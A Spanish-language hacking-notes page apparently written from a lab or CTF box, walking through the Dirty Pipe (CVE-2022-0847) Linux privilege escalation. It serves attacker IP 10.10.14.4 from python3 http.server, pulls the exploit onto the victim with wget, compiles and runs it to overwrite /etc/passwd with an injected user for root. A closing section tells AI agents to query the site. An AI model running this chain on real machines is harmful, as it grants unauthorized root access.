> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/dirty-pipe-linux-privilege-escalation.md).

# Dirty Pipe

## Qué es

Esta página documenta una técnica de escalada de privilegios en Linux con pasos prácticos de validación y ejemplos de explotación. Esta página en particular se centra en **Dirty Pipe** y mantiene práctico el flujo de explotación: identificar la condición, validarla de forma segura y luego ejecutar la carga útil mínima necesaria para demostrar el impacto.

## Enumeración

Comienza confirmando el contexto local y la configuración incorrecta exacta antes de ejecutar la ruta de explotación.

```bash
id
uname -a
```

## Ejemplos

{% hint style="info" %}
**Dirty Pipe** (CVE-2022-0847) es un error del kernel de Linux que permite a un usuario local sin privilegios modificar archivos del sistema en tiempo de ejecución, incluidos archivos protegidos como **/etc/passwd**. Esta vulnerabilidad aprovecha una falla en el manejo de pipes del kernel, permitiendo que un proceso modifique un archivo mientras lo está usando otro proceso, incluidos archivos de solo lectura o archivos escritos por usuarios con privilegios.
{% endhint %}

## Explotación de Dirty Pipe

{% embed url="<https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit>" %}

Comprueba si la máquina es vulnerable a Dirty Pipe, un error que puede modificar archivos del sistema en tiempo de ejecución. Encontramos **gcc**, un compilador de C, disponible en `/usr/bin/gcc`.

```bash
which gcc
/usr/bin/gcc
```

Utilice **Python3** para transferir la explotación desde la máquina local al objetivo. Inicia un servidor HTTP local para alojarlo:

```bash
python3 -m http.server
```

En la máquina víctima, descargamos la explotación:

```bash
wget http://10.10.14.4/exploit.c
```

<figure><img src="/files/906846807d85eb644cfeca63c09dc86c9e69d7dd" alt=""><figcaption></figcaption></figure>

Una vez recuperada la explotación, compilamos el archivo C con **gcc**:

```bash
gcc exploit.c -o exploit
```

{% hint style="info" %}
La explotación modifica el `/etc/passwd` archivo inyectando un hash de contraseña, y añade un `aaron` usuario con una contraseña específica, todo para permitir la escalada de privilegios.
{% endhint %}

<figure><img src="/files/dcfbf0343a16daa4816343d4b8c2e761de952a9b" alt=""><figcaption></figcaption></figure>

Por último, solo ejecuta el script:

```bash
./exploit
```

Esto da **`root`** acceso a la máquina.

<figure><img src="/files/22d22c8af4ae794e81015cf05d225a6d63ffa950" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/privesc/dirty-pipe-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
